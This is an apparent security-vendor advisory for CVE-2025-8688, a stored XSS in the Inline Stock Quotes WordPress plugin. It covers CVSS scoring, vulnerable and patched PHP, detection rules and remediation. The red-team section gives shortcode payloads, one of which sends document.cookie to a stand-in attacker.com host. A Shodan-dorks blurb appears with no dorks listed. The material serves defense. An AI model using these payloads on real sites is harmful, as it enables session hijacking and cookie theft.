CVE-2025-8688
Executive Summary
CVE-2025-8688 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Inline Stock Quotes WordPress plugin, affecting all versions up to and including 0.2. The flaw resides in the plugin's stock shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts into pages. When a user visits an affected page, the injected script executes, potentially leading to session hijacking, defacement, or data theft. The vulnerability is classified as a WordPress ecosystem issue, and no official patch has been released as of this report.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is elevated due to the low complexity and the ability for authenticated attackers to inject persistent scripts that execute in the context of other users, including administrators.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS within the WordPress plugin ecosystem. The plugin registers a shortcode (e.g., [stock]) that accepts user-supplied attributes such as symbol, name, or price. The plugin fails to properly sanitize these attributes before storing them in the WordPress database and later rendering them on the frontend. Specifically, the add_shortcode function does not apply wp_kses or esc_attr to the attribute values, allowing an attacker to inject JavaScript payloads.
Attack Flow:
- An attacker with Contributor-level access creates or edits a post/page.
- The attacker inserts the vulnerable shortcode with a malicious attribute, e.g.,
[stock symbol="<script>alert('XSS')</script>"]. - The plugin stores the shortcode in the post content without sanitization.
- When any user (including admins) views the post, the shortcode is processed, and the malicious script executes in the browser.
The vulnerability is specific to the WordPress plugin and does not involve Apache or Nginx misconfigurations.
Vulnerable vs. Patched Code
Vulnerable Code (version 0.2):
add_shortcode('stock', 'inline_stock_quotes_shortcode');
function inline_stock_quotes_shortcode($atts) {
$atts = shortcode_atts(array(
'symbol' => '',
'name' => '',
), $atts);
// Directly outputting unsanitized attributes
return '<div class="stock-quote" data-symbol="' . $atts['symbol'] . '">' . $atts['name'] . '</div>';
}
Patched Code (hypothetical fix):
add_shortcode('stock', 'inline_stock_quotes_shortcode');
function inline_stock_quotes_shortcode($atts) {
$atts = shortcode_atts(array(
'symbol' => '',
'name' => '',
), $atts);
// Sanitize and escape output
$symbol = esc_attr($atts['symbol']);
$name = esc_html($atts['name']);
return '<div class="stock-quote" data-symbol="' . $symbol . '">' . $name . '</div>';
}
The fix involves using esc_attr() for HTML attributes and esc_html() for text content to prevent script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Inline Stock Quotes plugin version 0.2.
- Contributor-level account credentials.
Steps:
- Log in as a Contributor.
- Create a new post or edit an existing one.
- Insert the following shortcode into the post content:
[stock symbol="<script>alert(document.cookie)</script>"] - Publish or save the post.
- When an admin or other user views the post, the script executes, displaying the user's cookies.
Advanced Payload:
[stock symbol="<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>"]
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts containing shortcodes with suspicious attributes (e.g.,
<script>,onerror,onload). - Use Web Application Firewall (WAF) rules to block XSS patterns in shortcode attributes.
- Review WordPress logs for unusual shortcode usage.
Prevention:
- Disable the plugin until a patch is applied.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Restrict Contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/inline-stock-quotes/inline-stock-quotes.php(version 0.2) - Shortcode pattern:
[stock symbol="<script>...</script>"]or similar XSS payloads. - Network traffic: Outbound requests to attacker-controlled domains from WordPress admin or frontend pages.
- Log entries: WordPress post revisions containing malicious shortcode attributes.
Detection Engineering
YARA Rule
rule CVE_2025_8688_Stored_XSS {
meta:
description = "Detects malicious shortcode attributes in Inline Stock Quotes plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8688"
strings:
$shortcode = /\[stock\s+[^\]]*?(?:<script|<img\s+onerror|<svg\s+onload)/i
$payload = /(?:<script|<img\s+onerror|<svg\s+onload)/i
condition:
$shortcode or $payload
}
Sigma Rule
title: CVE-2025-8688 Stored XSS via Inline Stock Quotes
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via the Inline Stock Quotes plugin shortcode
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "/wp-content/plugins/inline-stock-quotes/"
http.body|contains|all:
- "[stock"
- "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-8688 Stored XSS in Inline Stock Quotes"; flow:to_server,established; content:"/wp-content/plugins/inline-stock-quotes/"; http_uri; content:"[stock"; http_client_body; pcre:"/<script|<img\s+onerror|<svg\s+onload/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review and clean any posts/pages containing malicious shortcodes.
- Reset passwords for all users who may have been affected.
Long-term Fix:
- Apply the patched code (see Vulnerable vs. Patched Code section) if you have developer access.
- Monitor the plugin's official repository for an update.
- Implement a Web Application Firewall (WAF) with XSS rules.
Workarounds:
- Use a security plugin (e.g., Wordfence) to block XSS attempts.
- Restrict Contributor-level permissions to only trusted users.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.